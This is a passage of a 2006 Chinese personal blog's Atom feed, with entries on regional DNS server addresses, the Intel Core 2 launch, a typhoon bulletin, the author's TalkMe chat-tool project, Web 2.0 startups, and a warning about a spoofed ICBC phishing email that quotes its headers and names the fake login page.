<BR><BR>澳门 vassun2.macau.ctm.net 202.175.3.8 <BR><BR>深圳 ns.shenzhen.gd.cn 202.96.134.133 <BR>202.96.154.8 /202.96.154.15 <BR><BR>北京 ns.bta.net.cn 202.96.0.133 <BR>ns.spt.net.cn 202.96.199.133 <BR>ns.cn.net 202.97.16.195 <BR>202.106.0.20 <BR>202.106.148.1 <BR>202.106.196.115 <BR><BR>广东 ns.guangzhou.gd.cn 202.96.128.143 <BR>dns.guangzhou.gd.cn 202.96.128.68 <BR><BR>上海 ns.sta.net.cn 202.96.199.132 <BR>202.96.199.133 <BR>202.96.209.5 <BR>202.96.209.133 <BR><BR>浙江 dns.zj.cninfo.net 202.96.102.3 <BR>202.96.96.68 <BR>202.96.104.18 <BR><BR>陕西 ns.snnic.com 202.100.13.11 <BR><BR>西安: 202.100.4.15 <BR>202.100.0.68 <BR><BR>天津 ns.tpt.net.cn 202.99.96.68 <BR><BR>辽宁 ns.dcb.ln.cn 202.96.75.68 <BR>202.96.75.64 <BR>202.96.64.68 <BR>202.96.69.38 <BR>202.96.86.18 <BR>202.96.86.24 <BR><BR>江苏 pub.jsinfo.net 202.102.29.3 <BR><BR>四川 ns.sc.cninfo.net 61.139.2.69 <BR><BR><BR><BR>成都: 202.98.96.68 <BR>202.98.96.69 <BR><BR>河北 ns.hesjptt.net.cn 202.99.160.68 <BR><BR>保定: 202.99.160.68 <BR>202.99.166.4 <BR><BR>山西 ns.sxyzptt.net.cn 202.99.198.6 <BR><BR>吉林 ns.jlccptt.net.cn 202.98.0.68 <BR><BR>山东 202.102.152.3 <BR>202.102.128.68 <BR><BR>福建 dns.fz.fj.cn 202.101.98.55 <BR><BR><BR>广西 10.138.128.40 <BR>202.103.224.68 <BR>202.103.225.68 <BR><BR>江西 202.109.129.2 <BR>202.101.224.68 <BR>202.101.240.36 <BR><BR>云南 ns.ynkmptt.net.cn 202.98.160.68 <BR><BR>河南: 202.102.227.68 <BR>202.102.224.68 <BR>202.102.245.12 <BR><BR>新疆: 61.128.97.73 <BR><BR>乌鲁木齐 61.128.97.73 <BR><BR>武汉: 202.103.24.68 <BR><BR>厦门 <BR>202.101.103.55 <BR><BR>江苏,盐城:0/100 <BR><BR>安徽，宣城 8，35 <BR><BR>山东淄博VPI/VCI 0/32 DNS 202.102.152.3/202.102.128.68 <BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=333" /> 
	  <id>http://www.openx.cn/default.asp?id=333</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[英特尔正式发布酷睿2处理器]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-07-27T20:37:58+08:00</updated>
	  <published>2006-07-27T20:37:58+08:00</published>
		  <summary type="html"><![CDATA[<STRONG>CNET中国·ZOL报道:</STRONG>公元2006年7月27日下午15时,也就是1个小时之后,备受期待的英特尔酷睿2处理器就将全球同步发布.作为国内知名IT媒体,ZOL已受邀参加英特尔在上海世纪公园举办的酷睿2处理器发布会,并推出大型报道专题,进行现场直播,请大家准时关注.<BR><BR>
<DIV align=center><STRONG><IMG title=英特尔总部 alt=英特尔总部 src="http://img2.zol.com.cn/product/5/783/ce9Eqm5TD5EXg.jpg" border=0><BR>英特尔logo</STRONG></DIV>
<DIV align=center>&nbsp;</DIV>
<DIV align=center>随着CPU技术与应用的发展，以频率来衡量处理器性能水平的时代已经渐行渐远，消费者越来越追求功耗效率、并行运算能力以及多媒体和游戏表现。英特尔酷睿2双核处理器正是这一发展趋势下的产物，其独有的五大特性充分展现了酷睿微体系结构领先且节能的优势。<BR><STRONG><BR>酷睿2双核处理器的五大特性<!--<table border=0 align=right valign=top width="210" height="210">
 <tr>
    <td align=center height="37"><span ID=ol_stat title='amdsh210210'></span>
    <object  classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000 width=210 height=210 vspace="1" align=middle>
    <param name=SRC value=http://pic.zol.com.cn/2006/amdsh210210.swf><param name=wmode value=transparent></object></td>
  </tr>
</table>--></STRONG> <BR>
<DIV><BR>
<DIV align=left>　　其一，宽位动态执行。和拓宽马路可疏通车流的道理一样，英特尔的这项创新技术使CPU的每一个内核可同时处理更多的指令，增大数据流量，提升数据处理能力。<BR><BR>　　其二，智能控制功率。为降低系统功耗、优化电源使用，使产品能效比更高，酷睿2双核采用了65纳米工艺，在制程方面做出了优化。独特的功率门控技术可以通过精细的逻辑控制机能独立开关各运算单元，智能地打开当前需要运行的子系统，而保持其他部分处于休眠状态，从而大幅降低处理器的功耗及发热。如此一来， PC将不再是个小火炉，而更“冷静”的系统亦可大幅提升处理器的耐用性。<BR><BR>　　其三，共享二级缓存。如果每一个内核都有独立的二级缓存，那便可能造成资源的浪费和数据的延迟。酷睿2双核使两个核心共享一个二级缓存，大幅提升了二级缓存的数据命中率，减少了数据延迟，改进处理器的功效，提升了产品性能和能效比。<BR><BR>　　其四，智能内存访问。缩短内存延迟、优化内存数据访问也可以提升系统性能。英特尔智能内存访问技术可亦预载入和读取数据，并保证运算结果不会出错。这自然提升了程序执行效率。<BR><BR>　　其五，增强数字媒体。酷睿2双核处理器为超逼真游戏和高级数字媒体制作应用提供非凡的性能，并将带给消费者非同一般的数字体验。<BR><BR><STRONG>英特尔酷睿2包括Conroe和Merom<!--<table border=0 align=right valign=top width="210" height="210">
 <tr>
    <td align=center height="37"><span ID=ol_stat title='amdsh210210'></span>
    <object  classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000 width=210 height=210 vspace="1" align=middle>
    <param name=SRC value=http://pic.zol.com.cn/2006/amdsh210210.swf><param name=wmode value=transparent></object></td>
  </tr>
</table>--></STRONG> 
<DIV><BR>
<DIV>　　英特尔酷睿2处理器的英文名称是“Core 2 Duo”，包括桌面和移动版本。针对桌面领域的Core 2 Duo处理器代号为Conroe，而相应的移动版处理器代号为Merom，它们都采用英特尔新一代Core架构。而极致版Pentium XE 965的代替者，新一代Extreme Edition高端桌面处理器将被命名为Core 2 Extreme。</DIV><BR>
<DIV>　　6月27日，英特尔已经发布了首款Core架构服务器端处理器Xeon 5100（Woodcrest）。至此，Core架构处理器已经全部现身。</DIV><BR>
<DIV align=center><A href="http://www.cnbeta.com/index.php?url=http://detail.zol.com.cn/picture_index_46/index456752.shtml"><STRONG><BR><IMG title="Core架构 英特尔正式发布酷睿2处理器" alt="Core架构 英特尔正式发布酷睿2处理器" src="http://img2.zol.com.cn/product/4/752/ceF6yzJrT0ABs.jpg" border=0></STRONG></A><BR><STRONG>Core 2 Duo</STRONG></DIV><BR>
<DIV align=left>　　英特尔酷睿2处理器（Conroe和Merom）采用65nm工艺技术，共享式二级缓存。</DIV><BR>
<DIV align=center><A href="http://www.cnbeta.com/index.php?url=http://detail.zol.com.cn/picture_index_46/index456751.shtml"><STRONG><IMG title="Core架构 英特尔正式发布酷睿2处理器" alt="Core架构 英特尔正式发布酷睿2处理器" src="http://img2.zol.com.cn/product/4/751/cekZrqCXe3fco.jpg" border=0></STRONG></A><BR><STRONG>Core 2 Extreme</STRONG></DIV><BR>
<DIV>　　此前，英特尔发言人Bill Kircos表示，酷睿2处理器将采用新编号方法，来更好地标识处理器的功耗和性能。其中，桌面端Conroe处理器将采用E4000系列和E6000系列作为编号，而移动端Merom处理器将使用T5000系列和T7000系列作为编号。<BR></DIV></DIV></DIV></DIV></DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=332" /> 
	  <id>http://www.openx.cn/default.asp?id=332</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[0605号台风 "格美" 即将正面袭击福建.]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-07-25T10:35:49+08:00</updated>
	  <published>2006-07-25T10:35:49+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]http://www.typhoon.gov.cn/yubao/ttyy.jpg[/img]</P>
<P>2006-7-25 今年第0605号台风格美（Kaemi）07月25日09时（北京时间）的中心位置在北纬23.8度，东经119.5度，中心气压 970百帕，近中心最大风速35米/秒。移向 NW,移速 15公里/小时，七级大风圈半径 430公里，十级大风圈半径 100公里。<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=331" /> 
	  <id>http://www.openx.cn/default.asp?id=331</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[来一个全晰的显示器]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-07-24T16:43:55+08:00</updated>
	  <published>2006-07-24T16:43:55+08:00</published>
		  <summary type="html"><![CDATA[<P>活活很帅气的说</P>
<P>下载了再看吧</P>
<P><A href="http://www.openx.cn/attachments/Helio_2006_v1.mov">http://www.openx.cn/attachments/Helio_2006_v1.mov</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=330" /> 
	  <id>http://www.openx.cn/default.asp?id=330</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[收到一个假工行的邮件]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-07-24T14:51:13+08:00</updated>
	  <published>2006-07-24T14:51:13+08:00</published>
		  <summary type="html"><![CDATA[<P>工行的朋友小心了</P>
<P>以下是邮件的 Details</P>
<P>----------------------------------------------------------------------------------</P>
<P>X-Message-Status: n:0<BR>X-SID-PRA: =?GB2312?B?1tC5+rmkyczS+NDQz7XNs8n9vLbNqNaq?= &lt;<a href="http://www.openx.cn/mailto:webmastr@icbc.com.cn">webmastr@icbc.com.cn</A>&gt;<BR>X-SID-Result: TempError<BR>X-Message-Info: txF49lGdW42JP5ybviEQbl07RHkAiN5eA6LwfDe13iM=<BR>Received: from icbc.com.cn ([218.25.72.70]) by bay0-mc2-f10.bay0.hotmail.com with Microsoft SMTPSVC(6.0.3790.2444);<BR>&nbsp; Sun, 23 Jul 2006 20:47:31 -0700<BR>Received: from unknown (HELO vlm3015.net) (176.179.208.7)<BR>&nbsp;by 59.45.13.15 with SMTP; 24 Jul 2006 03:58:32 -0000<BR>X-Originating-IP: [176.179.208.7]<BR>Date: Mon, 24 Jul 2006 11:58:31 +0800<BR>From: "=?GB2312?B?1tC5+rmkyczS+NDQz7XNs8n9vLbNqNaq?=" &lt;<a href="http://www.openx.cn/mailto:webmastr@icbc.com.cn">webmastr@icbc.com.cn</A>&gt;<BR>To: "cxty" &lt;<a href="http://www.openx.cn/mailto:cxty@msn.com">cxty@msn.com</A>&gt;<BR>Reply-To: &lt;<a href="http://www.openx.cn/mailto:webmastr@icbc.com.cn">webmastr@icbc.com.cn</A>&gt;<BR>Subject: =?GB2312?B?1tC5+rmkyczS+NDQz7XNs8n9vLbNqNaq?=<BR>X-Mailer: VolleyMail 6.0[cn]<BR>Mime-Version: 1.0<BR>X-Priority: 3<BR>X-MSMail-Priority: Normal<BR>Content-Type: text/html;<BR>&nbsp;charset="GB2312"<BR>Content-Transfer-Encoding: base64<BR>Return-Path: <a href="http://www.openx.cn/mailto:webmastr@icbc.com.cn">webmastr@icbc.com.cn</A><BR>Message-ID: &lt;<a href="http://www.openx.cn/mailto:BAY0-MC2-F10k9LqOVo0031772f@bay0-mc2-f10.bay0.hotmail.com">BAY0-MC2-F10k9LqOVo0031772f@bay0-mc2-f10.bay0.hotmail.com</A>&gt;<BR>X-OriginalArrivalTime: 24 Jul 2006 03:47:32.0499 (UTC) FILETIME=[E4B44630:01C6AED3]</P>
<P>----------------------------------------------------------------------------------</P>
<P>大家看到没有虽然发件人是 icbc.com.cn的但是这个可是可以伪造的哦.</P>
<P>点进去是一个工行用户登陆界面地址是(<A href="http://wangpeng.a10.99to.com/login.asp">http://wangpeng.a10.99to.com/login.asp</A>)明显是假的</P>
<P>工行的登陆地址是:https://mybank.icbc.com.cn/ 是有 SSL加密的哦!</P>
<P>哈这要是输入你的账号跟密码那就卡上的钱钱立马就飞了~</P>
<P>&nbsp;</P>
<P>这才是工行的升级通知</P>
<P><A href="http://www.95588.com/gonggao/2006nian/0720/sy_pop_dzyhsjtg060721.htm">http://www.95588.com/gonggao/2006nian/0720/sy_pop_dzyhsjtg060721.htm</A></P>
<P>大家切忌工行网址 <A href="http://www.95588.com">www.95588.com</A> 还有 <A href="http://www.icbc.com.cn">www.icbc.com.cn</A>&nbsp;其他都是假的!</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=329" /> 
	  <id>http://www.openx.cn/default.asp?id=329</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[成为TalkMe的支持者!]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=8" label="TalkMe" /> 
	  <updated>2006-07-23T09:42:00+08:00</updated>
	  <published>2006-07-23T09:42:00+08:00</published>
		  <summary type="html"><![CDATA[<P><STRONG><FONT color=#ff0000 size=5>成为TalkMe的支持者!</FONT></STRONG></P>
<P>就在<A href="http://www.talkme.cn/SupportersLink.html">http://www.talkme.cn/SupportersLink.html</A></P>
<P>只需要<FONT color=#ff0000>两步</FONT>操作,系统<FONT color=#ff0000>自动</FONT>验证,支持连接<FONT color=#ff0000>立即</FONT>生效.</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=328" /> 
	  <id>http://www.openx.cn/default.asp?id=328</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[几种常见文件格式的说明文档]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-07-22T18:46:18+08:00</updated>
	  <published>2006-07-22T18:46:18+08:00</published>
		  <summary type="html"><![CDATA[<P><STRONG>BMP图象格式</STRONG>:&nbsp;<A href="http://dev.gameres.com/Program/Visual/Other/BMPFormat.htm" target=_blank>http://dev.gameres.com/Program/Visual/Other/BMPFormat.htm</A>&nbsp;<BR><STRONG>BMP文件结构的探索</STRONG>:&nbsp;<A href="http://dev.gameres.com/Program/Visual/Other/WhatIfBMPFormat.doc" target=_blank>http://dev.gameres.com/Program/Visual/Other/WhatIfBMPFormat.doc</A><BR><STRONG>JPEG&nbsp;简易文档</STRONG>:&nbsp;<A href="http://dev.gameres.com/Program/Visual/Other/JPEG.htm" target=_blank>http://dev.gameres.com/Program/Visual/Other/JPEG.htm</A>&nbsp;<BR><STRONG>GIF文档</STRONG>:&nbsp;<A href="http://dev.gameres.com/Program/Visual/Other/GIFDoc.htm" target=_blank>http://dev.gameres.com/Program/Visual/Other/GIFDoc.htm</A>&nbsp;<BR><STRONG>PNG格式</STRONG>:&nbsp;<A href="http://dev.gameres.com/Program/Visual/Other/PNGFormat.htm" target=_blank>http://dev.gameres.com/Program/Visual/Other/PNGFormat.htm</A></P>
<P>&nbsp;</P>
<P>打个记号!</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=327" /> 
	  <id>http://www.openx.cn/default.asp?id=327</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[12颗互联网超新星]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-07-22T18:26:10+08:00</updated>
	  <published>2006-07-22T18:26:10+08:00</published>
		  <summary type="html"><![CDATA[<STRONG>在web2.0的热潮下，每天都有无数新网站诞生，也有一些如流星般坠落。这12个网站是新生网站中的佼佼者，也是幸运儿。其中也许就有几个能在不久的将来成为新的flickr或者美味书签。<BR></STRONG>这些新网站秉承了以往web2.0成功网站的很多特性，并极具个性和创新精神，功能也涵盖到了日常生活中更多的方面。在6月21日-23日，又雅虎主办的2006年互联网新生展示会（Connected Innovators2006)上，这12个网站脱颖而出，成为倍受关注的超新星。<BR><BR>StumbleUpon<BR><BR><A title=http://www.stumbleupon.com href="http://www.stumbleupon.com/" target=_blank>http://www.stumbleupon.com</A><BR><BR>StumbleUpon是一个附加在浏览器上的工具栏，下载后你就能方便地看到各种类别下的网站，像使用自己的收藏夹一样方便。别列在工具栏里的网站都是网友的选择，你可以对它们进行评分，以决定它们的顺序。<BR><BR>Vpod.tv<BR><BR><A title=http://www.vpod.tv href="http://www.vpod.tv/" target=_blank>http://www.vpod.tv</A><BR><BR>Vpod提供的分享功能与youtube类似，它的特色在于提供方便的格式转换功能，比如专供ipod和psp等手持设备播放的格式。简单地说，他们把用户分享的视频文件从显示器上搬到用户手中。<BR><BR>PostApp<BR><BR><A title=http://www.postapp.com href="http://www.postapp.com/" target=_blank>http://www.postapp.com</A><BR><BR>PostApp也是一项附属服务，它可以帮助博客和网站的主人方便而快捷地把网络服务放在自己的网站上。目前提供类似服务的网站虽然不少，但相对来说操作起来比较复杂，PostApp把这一切简化了，对于那些想让自己的博客看起来丰富一些，又没有太多技术基础的人来说应该是个不错的消息。<BR><BR>GearON<BR><BR><A title=http://www.protomobl.com href="http://www.protomobl.com/" target=_blank>http://www.protomobl.com</A><BR><BR>一个建立在手机上的社会网络平台。可以根据手机里的通讯录建立一个小圈子，并在彼此之间分享照片、音乐等文档，并发送最新活动通知。<BR><BR>Attensa<BR><BR><A title=http://www.attensa.com href="http://www.attensa.com/" target=_blank>http://www.attensa.com</A><BR><BR>可以应用在OUTLOOK、手机等平台上的RSS阅读器。<BR><BR>Sharpca&#115;t<BR><BR><A title=http://www.sharpca&#115;t.com href="http://www.sharpca&#115;t.com/" target=_blank>http://www.sharpca&#115;t.com</A><BR><BR>用作同步手机文件的服务，目前推出了同步图片的版本，接下来会推出其他格式的分享程序。<BR><BR>Webaroo<BR><BR><A title=http://www.webaroo.com href="http://www.webaroo.com/" target=_blank>http://www.webaroo.com</A><BR><BR>这个网站的功能是保存用户任何在网上看到的内容，Webaroo提供的读取服务可以在离线状态下进行。<BR><BR>Ether<BR><BR><A title=http://www.ether.com href="http://www.ether.com/" target=_blank>http://www.ether.com</A><BR><BR>一个非常有趣的服务，可以用它来出售自己的空余时间，盈利的方式是接听电话。你可以把网站提供的图标放在自己的博客上，只要有在Ether注册的用户与你通话，就能为自己带来收入。<BR><BR>Zixxo<BR><BR><A title=http://www.zixxo.com href="http://www.zixxo.com/" target=_blank>http://www.zixxo.com</A><BR><BR>专门分享和交换优惠券的站点。无论对消费者还是商家来说，这都是一个值得尝试的站点。<BR><BR>Soonr<BR><BR><A title=http://www.soonr.com href="http://www.soonr.com/" target=_blank>http://www.soonr.com</A><BR><BR>又一项手机服务，通过这个网站，普通手机可以与Skype用户通话，最大的优势就是价格低廉，但国内用户暂时无法使用。<BR><BR>Lifeo<BR><BR><A title=http://www.lifeo.com href="http://www.lifeo.com/" target=_blank>http://www.lifeo.com</A><BR><BR>网站尚未正式开放。据开发者称，Lifeo将会提供一套全新的生活管理服务，其中包括即时通讯、电子邮件、联系人、待办事项等。感兴趣的网友可以去网站留下自己的email，网站开通时会获得通知。<BR><BR>Netvibes<BR><BR><A title=http://www.netvbes.com href="http://www.netvbes.com/" target=_blank>http://www.netvbes.com</A><BR><BR>新闻聚合站点，Netvibes爱好者制作的大量独立程序使这个网站的功能越来越强大。<BR><BR>来源：外滩画报 总第190期]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=326" /> 
	  <id>http://www.openx.cn/default.asp?id=326</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[真正的 3D 操作界面︰BumpTop]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-07-21T14:24:01+08:00</updated>
	  <published>2006-07-21T14:24:01+08:00</published>
		  <summary type="html"><![CDATA[<P><IMG alt="" src="http://www.haoxiaowei.com/attachments/month_0606/62006629172230.jpg"></P>
<P>BumpTop 采用酷极了的3D技术，把图标立体化，同时拖拽动作也是别有动感，充满智慧。你可以完全抛弃原先单调的2D和伪3D界面，因为这个界面操作起来是相当应手，同时还让人想起拉斯韦加斯赌场里老练的洗牌动作。<BR><BR>观看视频演示：</P>
<P><EMBED src=http://www.youtube.com/v/M0ODskdEPnQ width=425 height=350 type=application/x-shockwave-flash></EMBED></P>
<P>视频下载：<A href="http://honeybrown.ca/Pubs/BumpTop.html">http://honeybrown.ca/Pubs/BumpTop.html</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=325" /> 
	  <id>http://www.openx.cn/default.asp?id=325</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[想想给TalkMe取个中文名]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=8" label="TalkMe" /> 
	  <updated>2006-07-20T15:55:11+08:00</updated>
	  <published>2006-07-20T15:55:11+08:00</published>
		  <summary type="html"><![CDATA[<P>TalkMe的意思就是与我交谈</P>
<P>想要实现的是一个免费的可以方便有自己站点的人方便的跟游客交谈的工具.</P>
<P>并在此基础上提供更多免费的站长工具.</P>
<P>那她应该叫个什么样的中文名呢?</P>
<P>又生动又好记还比较前卫的~哈哈~</P>
<P>&nbsp;</P>
<P>想想~要好好想想~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=323" /> 
	  <id>http://www.openx.cn/default.asp?id=323</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[TalkMe的Demo很有可能会提前发布~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=8" label="TalkMe" /> 
	  <updated>2006-07-20T15:47:46+08:00</updated>
	  <published>2006-07-20T15:47:46+08:00</published>
		  <summary type="html"><![CDATA[<P>发现最近空闲时写代码特快.</P>
<P>核心部分已经写了60%,70%了.(已经完成了网络硬盘,网络收藏夹,机器人养成等多个本计划在第三期开发的模块,因为在第一期内有关联到部分模块,所以就顺便做咯~哈)</P>
<P><FONT color=#ff0000>不过一个人开发实在累呀(一直在javascript,c#,Delphi,css,html之间切换编码,丫丫的有时候都写混了,偶尔还要玩玩PS搞搞图霍霍,自己都成多面手了)~有没有志同道合的朋友一起加入talkme的开发小组吧.</FONT></P>
<P>弄好客户端的脚本就可以发demo了~哈.</P>
<P>内测申请只是发布在 talkme.cn 的页子上.</P>
<P>现在公布在日志上,嘿秀~</P>
<P>现在任何人都申请内测</P>
<P>详见:<A href="http://www.talkme.cn"><FONT face="Arial Black" size=4>http://www.talkme.cn</FONT></A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=322" /> 
	  <id>http://www.openx.cn/default.asp?id=322</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[瞎逛的收货~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-07-20T15:07:14+08:00</updated>
	  <published>2006-07-20T15:07:14+08:00</published>
		  <summary type="html"><![CDATA[<P>瞎逛中发现一个专门收集网站历史的站点~</P>
<P><A href="http://www.infomall.cn/cgi-bin/mallgate/*/http://www.openx.cn">http://www.infomall.cn/cgi-bin/mallgate/*/http://www.openx.cn</A></P>
<P>居然还能找到去年openx.cn刚刚诞生时的日志~</P>
<P>那段时间真让人回味.</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=321" /> 
	  <id>http://www.openx.cn/default.asp?id=321</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[骗子真多~同行小心咯!]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-07-20T10:32:39+08:00</updated>
	  <published>2006-07-20T10:32:39+08:00</published>
		  <summary type="html"><![CDATA[<P>今天路过CSDN时看到一帖</P>
<P>气愤,在这个版接活,被人骗了,大家都来评评理,说好6000,最后却说500,缺乏诚信,欺骗弱势程序员,人是清华紫光 </P>
<P><A href="http://community.csdn.net/Expert/topic/4886/4886085.xml?temp=.4514887">http://community.csdn.net/Expert/topic/4886/4886085.xml?temp=.4514887</A></P>
<P>谈好的项目最后只付500,那所谓的经理买白菜呀!</P>
<P>这年头骗子满街都是!同行们小心啦!</P>
<P>&nbsp;</P>
<P>我们需要为自己留一手.不然白白花费了精力跟时间.</P>
<P>到最后不能拿到相应的汇报.</P>
<P><FONT color=#000000>这年头我们容易吗!</FONT></P>
<P>=====================================</P>
<P><FONT color=#ff0000><STRONG>没有收到50%订金免谈!</STRONG></FONT></P>
<P><STRONG><FONT color=#ff0000>没有收到60%酬劳,程序只能远程演示!</FONT></STRONG></P>
<P><FONT color=#ff0000><STRONG>没有收到80%酬劳,代码免谈!</STRONG></FONT></P>
<P><FONT color=#000000>=====================================</FONT></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=320" /> 
	  <id>http://www.openx.cn/default.asp?id=320</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[曾经的你：几大门户网站最初的样子]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-07-19T22:42:06+08:00</updated>
	  <published>2006-07-19T22:42:06+08:00</published>
		  <summary type="html"><![CDATA[<P><A href="http://blog.donews.com/images/blog_donews_com/sepsea/118531/o_sina19991007.jpg" target=_blank><IMG id=ViewPicture.ascx_GalleryImage style="BORDER-RIGHT: black 2px solid; BORDER-TOP: black 2px solid; BORDER-LEFT: black 2px solid; BORDER-BOTTOM: black 2px solid" height=210 alt=sina19991007 src="http://blog.donews.com/images/blog_donews_com/sepsea/118531/r_sina19991007.jpg" width=280></A>&nbsp;&nbsp;<A href="http://blog.donews.com/images/blog_donews_com/sepsea/118531/o_163com19991011.jpg" target=_blank><IMG id=ViewPicture.ascx_GalleryImage style="BORDER-RIGHT: black 2px solid; BORDER-TOP: black 2px solid; BORDER-LEFT: black 2px solid; BORDER-BOTTOM: black 2px solid" height=210 alt=163com19991011 src="http://blog.donews.com/images/blog_donews_com/sepsea/118531/r_163com19991011.jpg" width=280></A></P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;新浪网1999年10月7日&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 网易1999年10月11日</P>
<P><A href="http://blog.donews.com/images/blog_donews_com/sepsea/118531/o_sohu19990125.jpg" target=_blank><IMG id=ViewPicture.ascx_GalleryImage style="BORDER-RIGHT: black 2px solid; BORDER-TOP: black 2px solid; BORDER-LEFT: black 2px solid; BORDER-BOTTOM: black 2px solid" height=210 alt=sohu19990125 src="http://blog.donews.com/images/blog_donews_com/sepsea/118531/r_sohu19990125.jpg" width=280></A>&nbsp; <A href="http://blog.donews.com/images/blog_donews_com/sepsea/118531/o_yahoo19961017.jpg" target=_blank><IMG id=ViewPicture.ascx_GalleryImage style="BORDER-RIGHT: black 2px solid; BORDER-TOP: black 2px solid; BORDER-LEFT: black 2px solid; BORDER-BOTTOM: black 2px solid" height=210 alt=yahoo19961017 src="http://blog.donews.com/images/blog_donews_com/sepsea/118531/r_yahoo19961017.jpg" width=280></A></P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 搜狐1999年12月5日&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;雅虎1996年10月17日</P>
